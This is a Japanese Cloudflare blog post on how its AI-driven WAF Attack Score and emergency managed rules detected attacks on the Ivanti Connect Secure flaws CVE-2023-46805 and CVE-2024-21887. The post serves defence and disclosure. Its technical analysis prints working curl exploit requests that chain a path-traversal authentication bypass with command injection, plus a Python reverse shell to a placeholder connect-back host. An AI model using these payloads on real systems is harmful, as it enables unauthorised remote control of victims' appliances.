Subscribe to receive notifications of new posts:

CloudflareのAI WAFがIvanti Connect Secureのzero-day脆弱性をプロアクティブに検出した経緯

01/23/2024

5 min read
How Cloudflare’s AI WAF proactively detected Ivanti Connect Secure critical zero-day vulnerability

ほとんどのWAFプロバイダーは、脆弱性が発見され悪用された後に対応するために、リアクティブな手法に頼っています。しかし、私たちは潜在的なリスクにプロアクティブに対処し、それを達成するためにAIが有用であることと考えています。本日は、致命的な脆弱性(CVE-2023-46805およびCVE-2024-21887)の最近の事例と、AIを活用したCloudflareのAttack Score、およびWAFの緊急ルールがこの脅威にどのように対抗したかをご紹介します。

脅威:CVE-2023-46805およびCVE-2024-21887

Ivanti製品に影響を及ぼす 認証バイパス(CVE-2023-46805)およびコマンドインジェクションの脆弱性(CVE-2024-21887)が最近公開され、 AttackerKB によって分析されました。この脆弱性は、影響を受けるシステムへの不正アクセスやコントロールにつながる重大なリスクをもたらします。以下のセクションでは、この脆弱性がどのように悪用されるかについて説明します。

テクニカル分析

AttackerKBで説明したように、攻撃者は以下のようなコマンドを使って、特別に細工したリクエストを標的システムに送る場合があります:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

このコマンドは、通常認証で保護されているエンドポイント(/license/keys-status/)をターゲットにします。しかし、攻撃者はURLを操作して/api/v1/totp/user-backup-code/../../license/keys-status/を含めることで、認証をバイパスすることができます。この手法はディレクトリトラバーサルとして知られています。

コマンドのURLエンコードされた部分は、Pythonのリバースシェルにデコードされ、以下のようになります:

;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';

Pythonリバースシェルは、攻撃者が標的システムを制御するための方法です。

この脆弱性は、システムがnode_nameパラメータを処理する方法で存在します。攻撃者がnode_nameの値を制御できると、システムにコマンドを入力できるようになってしまいます。

「node_name」について:'node_name' パラメータは、エンドポイント /API/v1/license/keys-status/path:node_name のコンポーネントです。このエンドポイントが、主に問題が発生する場所です。

攻撃者はURIパス/api/v1/totp/user-backup-code/../../license/keys-status/;CMD;にGETリクエストを送ることができます。CMDは攻撃者の実行対象の任意のコマンドです。セミコロンを使うことで、リクエストでこのコマンドを指定することができます。コマンドがシステムによって正しく処理されるように、URLエンコードされている必要があります。

AttackerKBのブログ記事に詳述されているように、別のコードインジェクションの脆弱性が確認されています。今回は、システムの別の部分で見つかった認証されたコマンドインジェクションが関係しています。

最初のコマンドインジェクションで使われたのと同じPythonのリバースシェルペイロードをここで使うことができ、脆弱性をトリガーするJSON構造を形成します。ペイロードはJSONなので、URLエンコードする必要はありません:

{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}

API/v1/system/maintenance/archiving/cloud-server-test-connectionエンドポイントは認証を必要としますが、攻撃者は、先に述べたディレクトリトラバーサルの脆弱性と組み合わせることで、これを回避することができます。攻撃者は、 /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connectionを利用して認証されていないURIパスを構築し、このエンドポイントに到達し、脆弱性を悪用することができます。

認証されていないオペレーティングシステムコマンドを実行するために、攻撃者は次のようなcurlリクエストを使います:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'

Cloudflareによるプロアクティブな防御

Cloudflare WAFは、WAF Attack Scoreと呼ばれるAIを搭載した追加レイヤーによってサポートされており、攻撃による迂回が発表される前にキャッチすることを目的として構築されています。Attack Scoreは、リクエストが悪意のあるものかどうかをスコアで示します。XSS、SQLi、そしていくつかのRCEのバリエーション(コマンドインジェクション、ApacheLog4Jなど)に対応しています。スコアの範囲は 1 から 99 で、低いほど悪意のあるリクエストです。一般的に、20以下のスコアのリクエストは悪意があるとみなされます。

Cloudflareのダッシュボード(Security> Events)を使って、上記のCVE-2023-46805とCVE-2024-21887の悪用事例の結果を見てみましょう。Attack Scoreの分析結果は3つの個別スコアで構成され、それぞれ特定の攻撃カテゴリとの関連性を示すラベルが付けられています。また、これら3つのスコアの複合的な影響を考慮したグローバルスコア(「WAF Attack Score」 )もあります。場合によっては、攻撃がカテゴリに一致する場合、グローバルスコアはサブスコアの1つに影響されます。ここでは、支配的なサブスコアがリモートコード実行「WAF RCE Attack Score」であることがわかります。

WAF Attack Score 9を示すWAF Attack Scoreを強調するセキュリティイベントのスクリーンショット

また、認証されていないオペレーティングシステムコマンドのリクエストについても、AIモデルから「WAF Attack Score: 19」を受け取りました。なお、スコア例は固定された数字ではなく、攻撃のバリエーションによって変化する可能性があります。

ここでの朗報は、WAF Attack Score を有効にしているエンタープライズとビジネスプランのお客様は、低いスコア(例 :cf.waf.score le 20)または(例:cf.waf.score.class eq "attack")をブロックするルールとともに、ビジネスの場合は、脆弱性が発表される前から、これまでにテストされた潜在的な脆弱性の悪用からすでに保護されていたということです。

緊急ルールのデプロイ

この重大な脆弱性に対応するため、Cloudflareは概念実証の公開から24時間以内の2024年1月17日に緊急ルールをリリースしました。これらのルールはWAFのマネージドルールの一部であり、特にCVE-2023-46805と、同じくIvanti製品に関連する追加の脆弱性CVE-2024-21887がもたらす脅威をターゲットとしています。"Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887"と名付けられたこのルールは、これらの脆弱性を悪用しようとする試みをブロックするために開発され、Cloudflareユーザーに追加のセキュリティレイヤーを提供します。

これらのルールを導入して以来、私たちは高いレベルの活動を記録しています。本稿執筆時点で、このルールは18万回以上発動しています。

ルールID 説明 デフォルトアクション
新しいマネージドルール…34ab53c5 Ivanti - 認証バイパス、コマンドインジェクション - CVE:CVE-2023-46805、CVE:CVE-2024-21887 ブロック
従来のマネージドルール
100622
Ivanti - 認証バイパス、コマンドインジェクション - CVE:CVE-2023-46805、CVE:CVE-2024-21887 ブロック

意味合いとベストプラクティス

CloudflareのCVE-2023-46805とCVE-2024-21887への対応は、強固なセキュリティ対策を講じることの重要性を強調しています。Cloudflareサービス、特にWAFを使用している組織は、最適な保護を維持するために、システムが最新のルールと設定で更新されていることを確認することをお勧めします。また、Attack Scoreを利用したルールの導入も推奨しています。Attack Scoreの詳細については、アカウントチームまでお問い合わせください。

まとめ

CVE-2023-46805およびCVE-2024-21887への対応に代表されるように、AIを使用して攻撃を特定し、阻止するCloudflareのサイバーセキュリティに対するプロアクティブなアプローチは、脅威や攻撃が公開され、脆弱性が開示される前に、どのように特定できるかを浮き彫りにしています。Cloudflareは、脆弱性を継続的に監視し、迅速に対応することで、複雑化するデジタル環境においてクライアントの安全性を確保しています。

We protect entire corporate networks, help customers build Internet-scale applications efficiently, accelerate any website or Internet application, ward off DDoS attacks, keep hackers at bay, and can help you on your journey to Zero Trust.

Visit 1.1.1.1 from any device to get started with our free app that makes your Internet faster and safer.

To learn more about our mission to help build a better Internet, start here. If you're looking for a new career direction, check out our open positions.
Vulnerabilities (JP)WAF Rules (JP)WAF (JP)WAF Attack Score (JP)Zero Day Threats (JP)AI WAF (JP)日本語

Follow on X

Himanshu Anand|@anand_himanshu
Radwa Radwan|@RadwaRadwan__
Cloudflare|@cloudflare

Related posts

March 14, 2024 12:30 PM

AIサービスでトークン長のサイドチャネル攻撃を軽減する

Workers AI/AI Gatewayチームは最近、ベングリオン大学のセキュリティ研究者グループと緊密に協力して、パブリックバグバウンティプログラムを通じて提出されたあるレポートに取り組みました。このプロセスを通じて、すべてのLLMプロバイダーに影響を及ぼす脆弱性を発見し、完全にパッチを適用しました。 その詳細を紹介します...

October 10, 2023 12:02 PM

HTTP/2 Rapid Reset:記録的勢いの攻撃を無効化

この投稿では、HTTP/2プロトコルの詳細、攻撃者がこれらの大規模な攻撃を発生させるために悪用した機能、およびすべてのお客様が保護されていることを保証するために当社が講じた緩和策について詳細を掘り下げて紹介します...

October 10, 2023 12:02 PM

HTTP/2 zero-day脆弱性により史上最大のDDoS攻撃が発生

「HTTP/2 Rapid Reset」攻撃は、HTTP/2プロトコルの弱点を悪用し、巨大で超ボリュメトリックなDDoS攻撃を発生させます。 Cloudflareはここ数カ月間、こうした嵐のような攻撃の軽減に取り組んでいました。その中には、弊社がこれまでに観測した最大の攻撃の3倍ほどの規模となる攻撃も含まれています...